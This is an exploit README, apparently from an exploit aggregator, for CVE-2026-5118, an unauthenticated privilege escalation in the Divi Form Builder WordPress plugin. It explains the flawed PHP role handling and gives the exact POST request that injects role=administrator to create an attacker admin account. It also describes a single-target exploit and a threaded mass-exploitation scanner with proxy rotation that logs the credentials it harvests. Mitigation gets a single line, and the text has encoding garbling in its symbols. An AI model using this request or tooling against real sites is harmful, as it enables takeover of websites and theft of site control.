## https://sploitus.com/exploit?id=5FBB679D-E2F2-5271-A7F0-8499C1EF09E2
CVE-2026-5118 โ Divi Form Builder โค 5.1.2
Unauthenticated Privilege Escalation via Role Injection
=== Beelze ( zeroday 1diot9 ) ===
---
## ๐ Vulnerability Info
| Field | Details |
|-------|---------|
| **CVE ID** | CVE-2026-5118 |
| **CVSS Score** | 9.8 (Critical) |
| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-269 โ Improper Privilege Management |
| **Plugin** | Divi Form Builder (by Divi Engine) |
| **Affected** | All versions โค 5.1.2 |
| **Patched** | 5.1.3 (April 13, 2026) |
| **Published** | May 20, 2026 |
| **Researcher** | 0xd4rk5id3 โ EnvoraSec |
| **PoC** | Beelze ( zeroday 1diot9 ) |
---
## ๐ Description
The **Divi Form Builder** plugin for WordPress is vulnerable to **Unauthenticated Privilege Escalation** in all versions up to and including **5.1.2**.
The `create_user()` function inside `FormSubmissionHandler.php` accepts a user-controlled `role` parameter from POST data during user registration **without validating it against the form's configured `default_user_role` setting**. The only "protection" is `sanitize_text_field()` โ which strips HTML tags and encoding, but does **nothing** to restrict the value to safe roles โ followed by an existence check that merely verifies the role exists in WordPress (and `administrator` always does).
This triple failure allows unauthenticated attackers to:
1. Find **any** page with a Divi Form Builder form (contact, quote, newsletter โ doesn't matter)
2. Extract the **global shared nonce** (`fb_nonce`) from the `de_fb_obj` JavaScript object
3. Override `form_type` to `register` via POST โ turning any form into a registration endpoint
4. Inject `role=administrator` into the AJAX submission
5. Create a **full administrator account** with attacker-controlled credentials
> **Result:** Complete site takeover โ zero authentication, zero user interaction, one POST request.
---
## ๐งฌ Root Cause Analysis
### 1. Unsanitized Role Intake from POST Data
```php
// includes/shared/handlers/FormSubmissionHandler.php โ create_user() ~line 2250
$role = isset($form_data['role'])
? sanitize_text_field($form_data['role']) // โ ONLY strips tags/encoding!
: 'subscriber'; // โ 'administrator' passes CLEAN
```
`sanitize_text_field()` is designed for free-text sanitization (XSS prevention). It does **NOT** validate against an allowlist of safe roles. The string `"administrator"` contains no HTML tags, no special encoding โ it passes through completely untouched.
### 2. Existence-Only Validation โ Not a Security Check
```php
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
!isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // โ fallback ONLY if role doesn't exist
}
```
This check asks: _"Does this role exist in WordPress?"_ โ and `administrator` **always exists**. It never asks the right question: _"Is this role safe for public self-registration?"_ A proper check would validate against an allowlist like `['subscriber', 'contributor']` or enforce the form's `default_user_role` setting.
### 3. Direct Role Assignment Without Capability Gate
```php
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role); // โ attacker-controlled role applied directly!
```
No `current_user_can('create_users')` check. No `current_user_can('promote_users')` check. No capability verification of any kind. The attacker-supplied role is passed straight to `set_role()`.
### 4. Global Shared Nonce โ Exposed on Every Page with a Form
```php
// Frontend JS localization
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('security'), // โ SAME nonce on ALL forms, ALL pages
// ...
]);
```
The `fb_nonce` is created via `wp_create_nonce('security')` โ a generic action string shared across every single DFB form on the site. Any visitor can extract it from the page source by reading the `de_fb_obj` JavaScript object.
### 5. Form Type Override โ Any Form Becomes a Registration Endpoint
```php
// AJAX handler
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
if ($form_type === 'register') {
$this->create_user($form_data); // โ triggered by POST override!
}
```
The `form_type` is read from POST data, not from the server-side form configuration. An attacker can send `form_type=register` to **any** DFB AJAX submission โ a contact form, a quote request, a newsletter signup โ and the server will execute the registration code path. The form's original purpose is irrelevant.
---
## โ๏ธ Attack Chain
```
[Unauthenticated Attacker]
โ
โผ
GET /any-page-with-dfb-form/
โ HTML source: de_fb_obj = {"nonce":"abc123def0", ...}
โ
โผ
Extract fb_nonce from de_fb_obj JavaScript object
โ
โผ
POST /wp-admin/admin-ajax.php
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ action = de_fb_ajax_submit_ajax_handler โ
โ fb_nonce = abc123def0 โ
โ role = administrator โ INJECTED โ
โ form_type = register โ OVERRIDDEN โ
โ user_login = attacker_admin โ
โ user_pass = AttackerPass123! โ
โ user_email = attacker@evil.com โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
sanitize_text_field('administrator') โ 'administrator' โ passes
wp_roles()->roles['administrator'] exists? โ YES โ passes
$user->set_role('administrator') โ no capability check
โ
โผ
โ {"success": true, "data": {"message": "User created"}}
โ
โผ
POST /wp-login.php
log=attacker_admin & pwd=AttackerPass123!
โ 302 โ /wp-admin/
โ
โผ
[Full Administrator Access] ๐ฅ
```
---
## ๐ ๏ธ Tools
### `CVE-2026-5118.py` โ Single Target Exploit
Full 5-phase exploit chain with automatic form discovery and nonce extraction.
```bash
python3 CVE-2026-5118.py
```
```
Target URL: https://target.com
Username [beelze_admin]:
Password [Beelze123!!@#!]:
Email [beelze@exploit.lab]:
Timeout (seconds) [15]:
SOCKS5 proxy (blank = none):
```
**Exploit Phases:**
```
Phase 1 โถ Reachability (HTTPS + HTTP fallback)
Phase 2 โถ Plugin Detection (readme.txt version check)
Phase 3 โถ Form Discovery & Nonce Extraction
โโโ REST API page scan
โโโ Common path probing
โโโ Sitemap crawl
โโโ Homepage link crawl
Phase 4 โถ Role Injection (Privilege Escalation)
Phase 5 โถ Admin Login Verification
```
**Output (`scan_results/CVE-2026-5118_success.txt`):**
```
https://target.com | beelze_admin:Beelze123!!@#!
```
---
### `CVE-2026-5118-mass.py` โ Mass Scanner
Threaded mass exploitation with JSONL logging and resume support.
```bash
python3 CVE-2026-5118-mass.py
```
```
Target file (one URL per line): targets.txt
Username [beelze_admin]:
Password [Beelze123!!@#!]:
Email [beelze@exploit.lab]:
Threads [10]:
Timeout (seconds) [10]:
Proxy file (SOCKS5, one per line, blank = none):
Resume previous scan? (y/n) [n]:
```
**Features:**
- Multi-threaded scanning with configurable thread count
- SOCKS5 proxy rotation
- JSONL output for programmatic processing
- Resume support โ skips already-scanned targets
- Rich progress bar with real-time stats
- Automatic HTTP fallback when HTTPS fails
**Output (`scan_results/CVE-2026-5118_success.txt`):**
```
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
```
---
## ๐ Mitigation
- Update Divi Form Builder to version **5.1.3** or later
- The patch enforces that the role assigned is always the one configured server-side in the form's `default_user_role` setting, ignoring any user-supplied `role` parameter from POST data
---
**Beelze ( zeroday 1diot9 )** โ for educational and authorized security research only